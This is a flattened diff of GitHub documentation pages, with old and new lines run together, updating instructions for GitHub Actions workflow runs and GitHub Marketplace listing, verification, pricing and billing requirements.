%} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your 